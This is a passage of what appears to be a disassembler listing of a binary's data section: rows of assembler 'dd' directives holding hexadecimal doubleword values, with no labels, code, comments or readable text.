		dd 3EDFB1E4h, 0F62C6Eh,	3FF677DCh, 24859396h, 80A6FBFAh
		dd 7B796B61h, 9448DD77h, 19313DACh, 8D2AEB09h, 42F40422h
		dd 8671BA13h, 0F8519750h, 188CA65Ah, 51D3FFFCh,	92140E6Fh
		dd 508E7B0h, 50E2C854h,	0F2781800h, 71EAD0F1h, 0EC29CCF4h
		dd 2A846FA0h, 98D01578h, 9A81C08Dh, 0E934795Ch,	99586900h
		dd 70372F01h, 852B0497h, 8F78C2D6h, 8CFB3E04h, 50C8C193h
		dd 527D88EEh, 0B1349101h, 0CCB6B02Ch, 39FFE5D8h, 48E1EC4Fh
		dd 8D9748Eh, 0F74A04C1h, 87ECA1D6h, 78AD4098h, 0EC9175FCh
		dd 6906B511h, 0F1420F13h, 0E0DBFF04h, 0E8ECAAC6h, 0B281DE03h
		dd 9810A006h, 6450C229h, 1376887Ch, 27A7EB0Ah, 8893B83Fh
		dd 17C00030h, 724E00CFh, 899431A0h, 9A00E385h, 0D31481CDh
		dd 0A33BAB5h, 0ECF53DCFh, 44AF64E4h, 0A88CFDEAh, 0F06B00FFh
		dd 70B26F72h, 0C1078D13h, 22471E3Dh, 0D5EC918Dh, 0D9E80852h
		dd 3F3EC0FBh, 2CBF80A7h, 7A349421h, 0FD523CD0h,	0A12FC301h
		dd 20A46971h, 4D499A3Fh, 0FDEB0C98h, 0E2379F5h,	0FF3AC18Ah
		dd 14960A21h, 0D79CE017h, 70154Ch, 92465A7Fh, 0AB4C9374h
		dd 0C3BDA0A4h, 81CE0C39h, 0D589DC73h, 0A98E6A32h, 0A04459h
		dd 0B1844097h, 0F0DF482Bh, 40D21926h, 38077303h, 6FE80020h
		dd 0B3701432h, 26000231h, 0AE74D79Fh, 7B30CBAFh, 296E0037h
		dd 83A84EA5h, 621DE187h, 0B7805011h, 0C4B9C686h, 18EBEAF1h
		dd 78E0CFF2h, 9229D613h, 0D809463h, 66EFAFE2h, 984B001Bh
		dd 37F433F6h, 500A52Eh,	0DFD969C1h, 0F8E9FCDDh,	449D2D6h
		dd 971F53Ch, 0C8709348h, 28FC9329h, 13C7B282h, 48F9FE27h
		dd 4C80EDCCh, 56DE7F2Fh, 5ECE020Eh, 0B7F0E623h,	0F58D044h
		dd 9D3A80D4h, 1C107FBh,	0AD5152E3h, 0D8C555D5h,	0BC165C44h
		dd 68009C63h, 39ABCED9h, 1BB1024Dh, 0F6FBEB89h,	5073B4A7h
		dd 0BC5BDFDEh, 31A14334h, 4FAFF480h, 4AB9C085h,	0B6F0E809h
		dd 760F24E4h, 0A0584229h, 6904F7BEh, 525E0085h,	2572DC5Dh
		dd 78158E49h, 3BF040F5h, 497BC4C0h, 7181EC62h, 21C0D009h
		dd 0AAFCC1Ch, 0B1022B7Ch, 0A06A4B37h, 0F142DFB7h, 17198880h
		dd 0C400B4F1h, 0E7FACCEFh, 0B013D42Ah, 331509B1h, 24104970h
		dd 370E5446h, 10F86Bh, 360BF0EEh, 356700D2h, 82FFA0DFh
		dd 9C07B4C1h, 104B502Ch, 711B4010h, 8010908Ah, 0A0BAF108h
		dd 0A8F6F814h, 2E3CBCh,	0D1813BFFh, 63A93EE2h, 7C376500h
		dd 4AE64151h, 1D24076Ah, 81D7A4C1h, 0CBE11F3Eh,	29F16FC0h
		dd 5C7B6702h, 0E06CDF9Ah, 0A56178h, 5EC169D5h, 0C9F81C0Eh
		dd 453E70B8h, 13EC2h, 2B136735h, 2881F3D8h, 0C085DC7h
		dd 8CC0D60Ch, 0AC01DEF9h, 0FA37BCA7h, 0B180F10Fh, 9187CF86h
		dd 0D7059D45h, 0C720B48Fh, 6E4DF602h, 0B0846060h, 8EE720CCh
		dd 768846FCh, 0E9EA3B2Eh, 644CFABCh, 0F2247783h, 0B0D87FC3h
		dd 8F241AFCh, 0FF08A4F9h, 0F0D8BDCCh, 0A72B6E80h, 2200A650h
		dd 0B73560B3h, 8E0348h,	3E01FC28h, 704067E5h, 0F8F0831Fh
		dd 8135C0ACh, 0E07DC81Eh, 0D69603C9h, 0DEE13C17h, 135AB9Eh
		dd 0D9B2CD07h, 404FED72h, 44603B1Ch, 28145200h,	25D0DA70h
		dd 766F3C89h, 979D589Eh, 592406C4h, 537A69DFh, 5C00DDE4h
		dd 0D6EB6DF0h, 57A8E5Dh, 0A0655488h, 0DE6C80E8h, 0F003F973h
		dd 2239EB03h, 8871007Bh, 23E9B921h, 5DEE3414h, 4A124C70h
		dd 7443A819h, 0EF7F8A6h, 7A78E7C9h, 1CFE3C00h, 0C80079E2h
		dd 1913D30Eh, 40DC724h,	0C5D6B347h, 34A7AAh, 0D00F14CDh
		dd 7F2DC646h, 26560080h, 70038ADFh, 0D498BEC3h,	2F6F322h
		dd 8E51A5E2h, 0C8A5EC75h, 0DF84818Ch, 65B07003h, 63FCE740h
		dd 330E21EFh, 0D360BDE8h, 80312128h, 0DF50F877h, 988BE398h
		dd 1BFA2C4h, 2582B59Ch,	0F175ABB2h, 0F59FCC30h,	0E918F27Bh
		dd 0FC3138FEh, 4061DFD6h, 626ABFD4h, 9A0010BBh,	0FB9C039Dh
		dd 4C2445D6h, 48CB445Eh, 0ED996010h, 0F91A3000h, 0D2A0E813h
		dd 5CC7EEB1h, 0A13A78FDh, 1FEC4889h, 880F4405h,	43009038h
		dd 0F884F4D2h, 4719150h
		dd 79EAF994h, 0F52C8242h, 59A2120h, 36FA0386h, 4EBF8A7Dh
		dd 0A8C85FB0h, 6CB8B604h, 60B032CFh, 0EB304058h, 38228724h
		dd 2B7FE140h, 0A0A612DBh, 0C938C8D6h, 54D2B201h, 69703DB5h
		dd 82377020h, 29A630C3h, 4CA2B909h, 27F30FD5h, 54B01F9Bh
		dd 0DD31FCh, 4ACF247Ch,	0B4689974h, 0A43D0401h,	0A130A6F0h
		dd 1C32D061h, 4ED14500h, 0F195D7CBh, 14BC315Ch,	88F0A6F4h
		dd 372082C0h, 5DE08CF8h, 5700EA73h, 0E775D98Bh,	26B69C8Ah
		dd 40A44807h, 0D4F72853h, 0DA2C1B03h, 0D03758A0h, 2B093BFh
		dd 0E02BC6D0h, 848EF6D5h, 390CC586h, 28747B24h,	0C8C38A4Fh
		dd 130450A4h, 30D05C8Fh, 1D77D68h, 0FBF94FBDh, 72C7EB88h
		dd 0B903776Ch, 18DAD944h, 0DB5CC07Ah, 84F803E5h, 0FCD48258h
		dd 0B3C61EEh, 6F021364h, 0B2C03460h, 619F6DAh, 0AEC25238h
		dd 0D00111B1h, 0D6ECCA31h, 998C7AC1h, 6E79DC59h, 0DD65E800h
		dd 0BC1BC688h, 0BB1D18F7h, 119D2975h, 0BE427A01h, 0C843FF3Ch
		dd 39C170h, 0A0BA88CBh,	641E3036h, 0AA19BC07h, 0F8111489h
		dd 4747F9Bh, 98D6887Dh,	19A96100h, 0B4D10677h, 58A9909Fh
		dd 7D253FFBh, 8CC74805h, 4E8E5F9Ch, 5B7862A6h, 0FD086B19h
		dd 0EA2C5004h, 14B0F996h, 0A2811C07h, 0C90B9EFFh, 0D407F1DCh
		dd 20AE58C6h, 0C8AF2600h, 2C14D6B6h, 8E8B9DAh, 2C267A21h
		dd 94F7B160h, 7DEC005Fh, 77AE4AFFh, 0AA02A609h,	4FCE22E8h
		dd 735082C5h, 42C311C1h, 2CC4595Ch, 7613EB0Fh, 5DCEE0DCh
		dd 40EC78F2h, 484CD310h, 0D44783B4h, 0B892D36Fh, 0E370469h
		dd 0D2646D73h, 6AC7F842h, 0C0A04CC0h, 71D7FB30h, 5E574Fh
		dd 85516E7Ch, 763D5C35h, 270041F8h, 0D91F8726h,	5095B281h
		dd 2032C0A7h, 6B5096F0h, 689A6554h, 11E1FB21h, 740200D8h
		dd 76EF9EDEh, 0B4B2009Ah, 53E231EDh, 0C09C70A5h, 0DA88E390h
		dd 44BF0F80h, 4CB45E2h,	331D692Ah, 0A54CC456h, 0A47440B4h
		dd 0E3E6771h, 194330B9h, 265489E5h, 800DDC7h, 86067A2Ch
		dd 0B18122h, 0B21762CDh, 5DBE6804h, 2C21A600h, 9941DEF1h
		dd 798125DFh, 8BCF0AAh,	7480F9FCh, 4C95B79Ah, 0C5A1121Bh
		dd 0E73C90AEh, 0CF7DFA5Fh, 0F734C701h, 0F4A14FFEh, 0D022B83Dh
		dd 86BFF02h, 60F25460h,	2B5974h, 57A519D6h, 7B70110Bh
		dd 51E2420Ch, 4AEAD110h, 0FCFC4BFDh, 0A86A5410h, 0FAE8F704h
		dd 9CCC206Dh, 72C730D6h, 8C95F1E9h, 0D5234200h,	0C0194971h
		dd 0D291C8E0h, 0DCC2869Ch, 0C84D545Dh, 4AF5EA2Ch, 87F84BCEh
		dd 90C88409h, 6D005F09h, 0E3153867h, 0DB9F9Eh, 93EF0C97h
		dd 6927B12Eh, 101038B1h, 796AD509h, 0B481D41Eh,	648917D7h
		dd 0D2AC00C8h, 11E4F788h, 5600BAD6h, 7C841D14h,	1C1B831Eh
		dd 0E881F1h, 5C67E6EEh,	1001DF40h, 87B9FFDAh, 0E7E06B7Eh
		dd 3CCB0050h, 3027C7E0h, 0E212ECD2h, 8408F88h, 0D774C0E6h
		dd 0FBF7036Ch, 95EE381Fh, 0F5EB3BCBh, 0C8AE54F8h, 75D2A8A3h
		dd 2DABD020h, 0FBDE2D09h, 0EDDCD023h, 0E51A3988h, 7014C301h
		dd 34B232C1h, 0F588E0F2h, 0DB8101A9h, 74380910h, 0C10841ADh
		dd 0E114415Ah, 6C2252h,	0FF57627Dh, 0C5EF194Fh,	40DE2478h
		dd 96CC03C0h, 7302C001h, 305104CFh, 0DAE0C39Eh,	13E3049Fh
		dd 20D96098h, 2BECC2BDh, 0FC22C9F2h, 313300EFh,	0D5756A03h
		dd 0A4912836h, 9EBA3F80h, 4A66F747h, 0F644978h,	90233848h
		dd 0FF051900h, 0C0168BFh, 44AF3F21h, 4BDE4080h,	0C878C47Ch
		dd 0C8390F69h, 770218h,	0A618BC53h, 63CD5A24h, 5C06D15Ah
		dd 8899DD74h, 0EDA4D34h, 6B502A81h, 416EBCC0h, 8B035CEFh
		dd 0C71DED9Dh, 0C00EB8C9h, 0D4F74839h, 7490F68Bh, 0D70EACC2h
		dd 9DAD6984h, 0DCD46E52h, 9CEFE408h, 5D834152h,	6BB2D2E2h
		dd 240D4A0h, 0D8A103F8h, 0B4C83F32h, 5FEAE5D3h,	73115C93h
		dd 63934A00h, 8A4EB269h, 14599703h, 0C2587554h,	914CD048h
		dd 5079BA04h, 8F80EFh, 0DE43C1DFh, 4EC7975Ch, 3CA4F600h
		dd 691C14B6h, 0AC742850h, 5BC60068h, 920E6DF7h,	4674580Fh
		dd 59DBFC30h, 37D5135h,	0FDDA12D4h, 0F4E067E2h,	690A1DE3h
		dd 24AE7426h, 9861C00Ah, 0C827A44h, 0D11048CDh,	0F4AF1772h
		dd 0A09000F1h, 0C3D622D0h, 5824D091h, 14029C85h, 0FE59E063h
		dd 3F05B051h, 6D00B33Fh, 4AD46203h, 6C00E8DBh, 0A43A8D90h
		dd 13CE0FCBh, 224C075Ch, 48A89D58h, 0B8CD14B4h,	20D47684h
		dd 9BAFFACh, 5C8E5692h,	7587D490h, 0C5C3F804h, 5CC2701Fh
		dd 1000C2DAh, 7F5968Ch,	99C406ECh, 70A7B7F7h, 4970A4B6h
		dd 0B700A0B1h, 9E1B6907h, 573A009Ah, 88199FBCh,	0CC9830D2h
		dd 52E24C16h, 72485492h, 0F42C002Ch, 0AC24D262h, 0D0002D84h
		dd 8F5ECB1Eh, 10FAB70h,	4CFB7608h, 3832F7F9h, 0A009037Ch
		dd 0C0890B6Fh, 2C708C6Eh, 1870C951h, 9FE761F4h,	93624200h
		dd 0EFF96654h, 2D1DF04Ah, 2809436Fh, 0D57B6000h, 1F12DDF6h
		dd 7D042ABCh, 7CC046F8h, 0B4FBD0DAh, 477180F0h,	3FB0560Ah
		dd 521D8309h, 0D2480408h, 57BAD540h, 75223A14h,	5CD8908Ch
		dd 72C84CDBh, 0BC5D29BEh, 5C0D1B2Ch, 84E230DCh,	0B566A90h
		dd 0BC98781Ch, 0D18870CCh, 403CBCE1h, 0D478FA7Dh, 608EEC26h
		dd 94F50D00h, 0BC73F6D8h, 0CB9F4004h, 0D3002A1Dh, 51870ED7h
		dd 9C3A19Eh, 0B4B7470Ch, 0A831500Bh, 6DEA10D0h,	32BC1EF0h
		dd 60A0ECF7h, 0C9EF9A50h, 204FC725h, 0A3F5B574h, 4B350146h
		dd 9B756D59h, 48A2E20Ch, 7CECD6EFh, 516C5C0Bh, 7D9C0071h
		dd 0BED06D24h, 5F91C024h, 6C00FD96h, 0B723D673h, 13C8E3D2h
		dd 804CA259h, 32DFF944h, 0F827DA1Eh, 41310320h,	5A64A8C2h
		dd 5829DCE8h, 740114B8h, 0FA4EE623h, 0C8E00309h, 57410083h
		dd 0F0DA8639h, 0E900BEA8h, 0B770B922h, 34522Dh,	0FA74CB0Ah
		dd 87C39860h, 0E564105h, 0D442E9F8h, 0E0547C28h, 3EC694CFh
		dd 9E1C7AE0h, 0F09D5403h, 5C754E00h, 0F236E64Bh, 0DC00549Ch
		dd 2A6CDD9Eh, 4168BEA6h, 32F81276h, 581D01F4h, 9F836C4Dh
		dd 0A3169444h, 4AF03049h, 4174C16Ch, 0C87C7811h, 490E924h
		dd 0E74064B6h, 4EE086D6h, 0B293F0E8h, 0AE65EC04h, 3C945FC3h
		dd 0E10CA0A2h, 6E11406Fh, 24A925FAh, 1C61E8D2h,	4400817Dh
		dd 5CC2C0FAh, 0EDFB28Ah, 0C7EB277Ch, 66114CB4h,	0F9EA1B4Ch
		dd 0E77BE161h, 5D869C50h, 70A1022Fh, 0E0D13EA2h, 0A752E490h
		dd 0E80FF218h, 18DB479h, 54036A4Dh, 0F0A4201Eh,	1B5DB868h
		dd 7FC61190h, 288651Dh,	0C23F4873h, 8600C04Eh, 76872E84h
		dd 29A363Bh, 14959941h,	9189CD58h, 0E2DEC004h, 78AE0078h
		dd 41D20217h, 57B105D0h, 0F2E1DFA6h, 5FD05078h,	388CE744h
		dd 0B50135C1h, 0E078C7A7h, 0E3A08040h, 3D77D6Dh, 74521669h
		dd 35443292h, 0E8001E04h, 0E7842079h, 70F64Fh, 146F1726h
		dd 0C8FDA408h, 848005C9h, 0F858B8E2h, 74C67502h, 46D91F1Ch
		dd 0B0B10484h, 0C09E9DEAh, 0DAE420C0h, 0E40460D6h, 680B935Bh
		dd 0A0FDEC02h, 673A386Ch, 0B2DB0F32h, 9F4A80BCh, 0B94871A7h
		dd 6BE30164h, 64BF61F0h, 0C028D618h, 50A4587Bh,	0C4EB7C00h
		dd 80F82F42h, 2147CD7h,	5BF46930h, 98524421h, 9140D0B9h
		dd 14CB60A7h, 8C286DC5h, 42227894h, 0B5FFD912h,	0C549E401h
		dd 70546F71h, 90208Ch, 9605ADC9h, 9329DDBCh, 974D0105h
		dd 64C84948h, 3242000Ch, 0B7AAE436h, 277725B1h,	841D062Eh
		dd 4D3D5700h, 0EC65D11Ah
		dd 28AC0387h, 0DC5D5560h, 246FBC91h, 18165CCCh,	0E4D00F13h
		dd 0B8439D12h, 86FC25h,	3CD5F65h, 0BB2B3A4Ah, 0F1E83900h
		dd 0DD2F6772h, 40E0BE2Ah, 0A2D866CCh, 76F7F00Fh, 0E3A6A0C9h
		dd 0B2F5C08h, 0A14CBB33h, 2769690Eh, 0C51418C8h, 37112C00h
		dd 5C5EA46Bh, 49090040h, 31B357A0h, 0FD00EDA2h,	7E2DB9D1h
		dd 86AF94Eh, 0EBAEC5DBh, 56D0F200h, 0F88A2EACh,	5980FD27h
		dd 0AF9A1194h, 72099242h, 0A7B47Ch, 0A1882994h,	0EC1895FFh
		dd 0B1009216h, 31D60C4Dh, 7752290h, 368FAD74h, 6E411042h
		dd 494B8711h, 0E0B46840h, 50AD9ACFh, 58DCEBE4h,	0A18058FBh
		dd 0CB9746B2h, 77C960Eh, 1034807Fh, 1375AC0Ch, 0FEDA878h
		dd 9E8B8674h, 6C64A48Fh, 0AB04A0F3h, 58BC9A04h,	10ADF820h
		dd 80022F00h, 88274CA5h, 48A7E8E3h, 5F931D00h, 0DC528714h
		dd 0B9E023h, 0E0DDD3D5h, 46331F70h, 0E762C900h,	301798C0h
		dd 20905AFDh, 0DFFE078h, 7694DC00h, 4F400EA9h, 0B2F80111h
		dd 218E720Ah, 8F3B6095h, 13999200h, 0D7756F01h,	20864F51h
		dd 0DA4FABFCh, 0D080E8B8h, 0D49CECC9h, 6EF0FF47h, 4F4D937h
		dd 0C49D58B1h, 75F8A0CCh, 0C04C08F7h, 0C5A90731h, 0F23CBFB6h
		dd 0F4E909EBh, 5054AA78h, 1443F824h, 7C558074h,	0AA190A93h
		dd 0FDE52DCh, 0F8C96ABAh, 0BF20C090h, 1F21532Ch, 0C0D06900h
		dd 1F0490AAh, 57E24824h, 0EE4C5DB3h, 98C74004h,	0A7008B52h
		dd 6E1391F0h, 5D475Fh, 4A529C2h, 0BEEEB7B9h, 931CAD13h
		dd 8586C501h, 4D708B69h, 7BCF24A1h, 411F412Ch, 74989638h
		dd 89F9A888h, 61FB309Fh, 0FA5726h, 0F0845C17h, 45F1A004h
		dd 0D841D8F1h, 19D4F34Bh, 0D52702BFh, 72809013h, 9B009879h
		dd 204D2C11h, 0F4F672FBh, 138375AEh, 447AB953h,	56DFF154h
		dd 7032D413h, 0A47610FFh, 4016F4Fh, 42777B40h, 5CD5F064h
		dd 81DD7C74h, 0BDE78825h, 58D042B9h, 8CB4FC24h,	15C50011h
		dd 0C954363h, 88003238h, 0E81235FFh, 308EDE1Ah,	68E0A779h
		dd 0AA50D785h, 0DE24048h, 466FD616h, 88D0E088h,	2B0EB3E3h
		dd 0A0DF64FAh, 4052048Ah, 0C00C00A4h, 0BDD24553h, 504B2085h
		dd 0F9A264C3h, 4C2062C5h, 96C098C8h, 34EA962Ch,	9DB8BCF8h
		dd 7DCCBDC0h, 0C2458D4h, 3317F8C4h, 0FF02A008h,	0C9C76FB6h
		dd 990F10Fh, 0DFB469h, 0E0923D3Ch, 0BE6A4h, 544FEA49h
		dd 551DC89h, 2938C8B8h,	77C200FCh, 0CDDFAF5Bh, 9DF87088h
		dd 17F44411h, 0AC5220C0h, 6D08C0BAh, 58E5D343h,	460FB30Eh
		dd 0E89040CFh, 0B3B0E49h, 447A8E59h, 85DA744Bh,	0A5E84B20h
		dd 0B5E2F1h, 87BF94DEh,	0BC0AE061h, 2777F3Ah, 2081FF5Eh
		dd 0AE64E04Ah, 0F7E7401Ch, 0A049322Dh, 28D555B0h, 0FFDA000Ah
		dd 0D188DEC0h, 0F2485FD7h, 96D31018h, 89411DC6h, 8EFFB301h
		dd 26AA0257h, 14D86FE1h, 0D8BC0001h, 9D0F7EACh,	2C0A5011h
		dd 0B017C3A7h, 0A398900h, 0FA59D347h, 975C0ACBh, 43D427DEh
		dd 2EB09EC6h, 361D4C2Fh, 0C78C8D0Ah, 28EF88CFh,	0CAE4CD05h
		dd 0A6883E88h, 7D0804F4h, 6F8D4194h, 0D0605D4Bh, 64245FD0h
		dd 0B68C8C48h, 770C600h, 6BED6478h, 55DD007Bh, 0B5DFE854h
		dd 0A05ED63Eh, 416A3408h, 0E0267365h, 15E778Eh,	0C94D0870h
		dd 138400C3h, 616D8007h, 0F40439B3h, 0B6B9D9F5h, 79F86C82h
		dd 0BAC20060h, 5B412007h, 8A0AEF0h, 0FF0181A5h,	15D1AB08h
		dd 880DBB6h, 45B15CADh,	0E000440Ch, 9F4BBB7Dh, 3C75C54Dh
		dd 0AAB71FC2h, 82A49028h, 2A00342Fh, 8A7A46ABh,	74DE0E5Fh
		dd 0AD8D20DBh, 0CF02041Ah, 0CCA96059h, 6704B859h, 0D03E2016h
		dd 17D23A6h, 0C92F4A00h, 0EEC4C324h, 0F2E5E8F9h, 614E01FCh
		dd 387D8A8Ch, 0EB31C4C6h, 6D19B107h, 1C41D313h,	19C35BA4h
		dd 684DB571h, 151180FDh, 0D43E794Eh, 473100AFh,	0CE052EB8h
		dd 0DC00BD4Bh, 0D6998130h, 0EEBBFF23h, 391A6190h, 80B75B96h
		dd 7A0233B9h, 1F2E8B31h, 0C09D300Eh, 448A7611h,	7930B712h
		dd 0CB0528DEh, 62F9006Ah, 0AE9BDA5Fh, 3B3DB647h, 9C658C42h
		dd 0AA515Dh, 342DB7CDh,	359D1FCBh, 31885B54h, 0A0B60E18h
		dd 0EE740F29h, 3ABEFA28h, 0D9800BCEh, 143F7323h, 0BF1865D6h
		dd 9CB107B9h, 0E5FC00CBh, 63F6D7CCh, 0A100F8C2h, 0FDAD128Fh
		dd 0A0339307h, 1F90D3D0h, 67CF426h, 416255DBh, 4E032A07h
		dd 0BD03C21Eh, 19BEB8h,	0B39A7BBEh, 586B5BD8h, 80DE893Fh
		dd 0E6AC807Eh, 796C0531h, 317D60E2h, 0B05B9247h, 82EF1D14h
		dd 0A46629B9h, 48C8A907h, 759F151h, 2ADB62F4h, 30D49E83h
		dd 0F029DDB6h, 5D90DF55h, 4FE54600h, 0DAE889CAh, 927F85Fh
		dd 1ED3A7AEh, 0C6C95C10h, 0CEB4BC00h, 0C48A9FA2h, 5E7D000Ch
		dd 179005EBh, 0B852EDADh, 0BE4B0E94h, 293600ACh, 79012Dh
		dd 6956CD2Bh, 92ED78B7h, 5420E20Fh, 0DAFEE011h,	1C89A73h
		dd 0DB9B0EF8h, 30077BEBh, 2AE290DEh, 597FB931h,	75C05D1Ch
		dd 0BCCD0009h, 3F1897B5h, 0F112FED2h, 2C2096D6h, 488EC55Eh
		dd 488758B9h, 0A66B0236h, 0DEB6540h, 0CA784000h, 0CF584DE3h
		dd 9083541Eh, 61901DECh, 0D44A80C2h, 4EA053B8h,	94E93114h
		dd 42DD00B4h, 9B3504EAh, 0D67489h, 6E178DA9h, 91BC9363h
		dd 0B8420D00h, 121BF982h, 0E4AF7747h, 0CAAA1E90h, 0C0BC9505h
		dd 1751DB0Ch, 46EA11A1h, 86F5901h, 9498DABDh, 299C918Dh
		dd 0ACC4E031h, 511D1606h, 219A3Ch, 0FCD20518h, 0FF2DD6E9h
		dd 0DAD70904h, 20CC95FEh, 69166050h, 51AB35B6h,	26DB10C3h
		dd 4190A02h, 144CBD1Ch,	317C1854h, 1119A214h, 5ED410E2h
		dd 0B82500EAh, 959649E7h, 0D700CFB7h, 88343EBAh, 3FB4783h
		dd 9C16042Fh, 0C13BD333h, 0B500F031h, 0B44F3D26h, 92825F84h
		dd 0B1816F34h, 6E113CC0h, 41070149h, 7E23D5E5h,	0D0C68BC0h
		dd 28109008h, 74507D5Ch, 34018918h, 288880Ch, 0D6833B27h
		dd 4D7CEE07h, 0F6C14C12h, 96C42303h, 90D1CB64h,	20647B1h
		dd 839AF921h, 286130E1h, 2E9CCC58h, 0A3D93802h,	908B6C4Eh
		dd 0E6FE8Ch, 187A0A5Fh,	450ED5F7h, 0E9CFF474h, 6F0100D0h
		dd 4D5997F2h, 5783CCB7h, 2900A713h, 0A17E224Eh,	5805466h
		dd 0A20E649Eh, 31C037DAh, 5459034Eh, 513CC664h,	3AD3C300h
		dd 1F25039Eh, 0CAF23EBDh, 0C838A706h, 0C9004060h, 0B32B4DB6h
		dd 0C0DAB0CDh, 77B87539h, 0F300F941h, 0D7E038C4h, 1B3E4C9h
		dd 584E73AAh, 409DBF5Dh, 0A44BB5CCh, 0B0485C50h, 10E2A4A1h
		dd 0C9312Eh, 2928BBB5h,	0B7A36853h, 54243600h, 3A936C69h
		dd 0F8426011h, 493190CEh, 89E8DF30h, 0F5C958AAh, 1C8166D0h
		dd 0D5DB8F80h, 0A530E8AEh, 0C9897B88h, 0C0A6B680h, 8AE16E39h
		dd 3B0EA891h, 20205AF5h, 762CB4E0h, 9C100390h, 0D9B7247Bh
		dd 3C813113h, 768C4900h, 0FD3522h, 53F15EBEh, 89E1BFA8h
		dd 0C34E5100h, 9C421266h, 0E1596435h, 783CC8B8h, 233CD000h
		dd 3A943DCFh, 2A3B0068h, 0C4C11A56h, 34FF9ADAh,	993E9194h
		dd 0C6F90751h, 9520FA39h, 6D325h, 2E60C135h, 0CCBD101Eh
		dd 1B916800h, 97A5039Bh, 4B85385Ah, 0C529DA00h,	70EB93CFh
		dd 94A35F00h, 41DF12C9h, 0F3091D0h, 0F52802C3h,	7E0804CBh
		dd 8B12D21h, 1A810531h,	8009E21Eh, 9A6BB898h, 0A11829C4h
		dd 61DD1146h, 31EDD200h, 0DE5AFF54h, 0B0EE085h,	4626A256h
		dd 20F5E087h, 0B4E809EFh, 0FC76E8A1h, 51009F18h, 3FAAC028h
		dd 5CECFE48h, 5F025437h
		dd 0F72E7AE2h, 313C9044h, 0EA390EB6h, 30CB42A8h, 41E162B7h
		dd 7C73807Ch, 473C5524h, 30EC009Bh, 6D06A6E2h, 641904DEh
		dd 0A0203B9h, 0BD369C63h, 8B86118h, 39ED7739h, 1A80AF6Eh
		dd 880FB601h, 633DA8F2h, 996A805Fh, 0C518AF6h, 0D1021CC7h
		dd 30F0026Dh, 0DCC0E352h, 0E80AE37h, 0DAFA1CD2h, 0A1B5D997h
		dd 9C1FD459h, 37ABB1C0h, 0F51860h, 0B9A319D5h, 890DF8B8h
		dd 52313300h, 0F253DBE6h, 1104B0ACh, 3BA7B70Eh,	0E2590097h
		dd 600D4B96h, 0FE3200A5h, 56A23F24h, 8414E193h,	11F0EE52h
		dd 44759A1Ch, 0A66011DEh, 0D2ED96F9h, 928100CCh, 0B00A5A17h
		dd 31523C9Ch, 1051EBCh,	27D139B7h, 0DA81512Dh, 0A89F4ECh
		dd 19A442B5h, 611618A4h, 6062B734h, 0E765E602h,	0E88B4C2Fh
		dd 4FC15482h, 847D3842h, 4E80B9F6h, 4997DB89h, 0A5065416h
		dd 98900DA8h, 4ADAE544h, 549028FDh, 19E1CA00h, 0CC03B9FBh
		dd 4F3E836h, 5627082h, 0FC1F5202h, 8C99B00Ah, 84BC1A88h
		dd 1F1759DBh, 29225C25h, 331F80A0h, 0BF4FCA02h,	5055DA19h
		dd 0FC30B541h, 48B70ACFh, 18CAE8h, 2E03312Fh, 79C0A8CEh
		dd 0B29E9AEh, 0C84730B7h, 0CF308928h, 880724F2h, 0E89E713Ch
		dd 0DAF21AF0h, 0B6962C99h, 0D33788E8h, 789128A8h, 0F8B8980h
		dd 2D934A3h, 855E4F0Dh,	0C461ADBFh, 49DAC104h, 7020D6F8h
		dd 5AF24Bh, 0F947A2D8h,	0B7565CD5h, 0CBFF2302h,	0E181C158h
		dd 8861500Ch, 5E9C698Bh, 4EB6C818h, 0D98AA400h,	0AF2C9A48h
		dd 28E43E16h, 7160B53Eh, 6F58D6A1h, 0C3051A00h,	9683EF6Bh
		dd 0B9403C20h, 1FF3B0D4h, 49101D6Ch, 0D68067E3h, 0A4511934h
		dd 2ACDE403h, 0D845DEB7h, 38D2EBE5h, 0D69A81B9h, 84C1985Eh
		dd 87B5137Ch, 4F2C2700h, 8B780506h, 0CC26DA92h,	9D4E4E94h
		dd 400053E8h, 122EB741h, 5800A993h, 1D1F50DFh, 6AC0B9Fh
		dd 0D75101F6h, 2E1A111Eh, 0E42992EAh, 7EBA3ABCh, 0EF0FC80Eh
		dd 0A8234A60h, 0F000DF39h, 0B32965DEh, 5314A4h,	0BB30A71Fh
		dd 0E5463C19h, 20BC9700h, 0D1EE4DE3h, 6254F09Ah, 9329115Ah
		dd 2F051481h, 7C432B2h,	436DCA24h, 89DDB9B1h, 9B806C28h
		dd 1F5D901Ch, 4C4E500h,	0E293452Ah, 0B094B2B2h,	0CC8B516Ch
		dd 4A00E072h, 612C2E71h, 9102A731h, 0EFCDE5D5h,	29CC3DBh
		dd 343D459h, 24E05729h,	0B630FACFh, 0BE2A41DFh,	0BAB3011Eh
		dd 6140241Ah, 14CC34A5h, 0B0CB8900h, 0E3B49733h, 2635F8D5h
		dd 0C8111Dh, 7D79D231h,	0BD0059ABh, 0EC961ACh, 3D192603h
		dd 0B81A0816h, 0D4808106h, 0F26C9573h, 3715C700h, 33328E93h
		dd 56360AE9h, 9481805h,	4125ADBh, 10ABF041h, 22B555Fh
		dd 2AD3A00Ch, 0B8C1EB1Bh, 0F3A6102Fh, 9F372454h, 0B6BC0894h
		dd 9B7AB40h, 6AE9077Ch,	110E50E7h, 0F7C6F5E1h, 72B036B3h
		dd 8902C9F0h, 1181205Eh, 498C48DBh, 8C1A0080h, 2EBC61BFh
		dd 3C3F9674h, 0E7BE14F2h, 0CE8F418Eh, 2A002C50h, 26736EA0h
		dd 0A0A6813Ch, 14E8FBE4h, 0B87CE02Eh, 365BBDC1h, 2F7760CFh
		dd 0BEA12D38h, 0DB19090Eh, 9CD848FFh, 89DC6132h, 22B6B731h
		dd 5A5000C4h, 9E1A5490h, 1CF02DDh, 37F922A2h, 30B4F840h
		dd 0AC21934Eh, 0A08B5BCh, 0C4603281h, 18CB9B6h,	0BC9F0308h
		dd 0A2B1F458h, 5484A300h, 2C5D34C2h, 0A1B40F59h, 31981B05h
		dd 0C8B2EF11h, 9600B6F8h, 8BAEFC65h, 2CE34083h,	0E8EDA0h
		dd 846C0EE0h, 9E0935C2h, 0C0141A05h, 5278ADCh, 555848C4h
		dd 1ED84623h, 65EAF997h, 8D05A6ECh, 0D808C9DBh,	93672008h
		dd 3DE02111h, 6B3E8AF2h, 0B109AA99h, 1D3C0007h,	91B31405h
		dd 343880B8h, 4E186742h, 72B99300h, 15C908C7h, 0E8122E6Bh
		dd 0D8051588h, 0DB604D80h, 8E74B8CCh, 9F9C964Ch, 45073ACFh
		dd 0A881736Bh, 0A432125Eh, 20BD8F00h, 9C899A43h, 39596705h
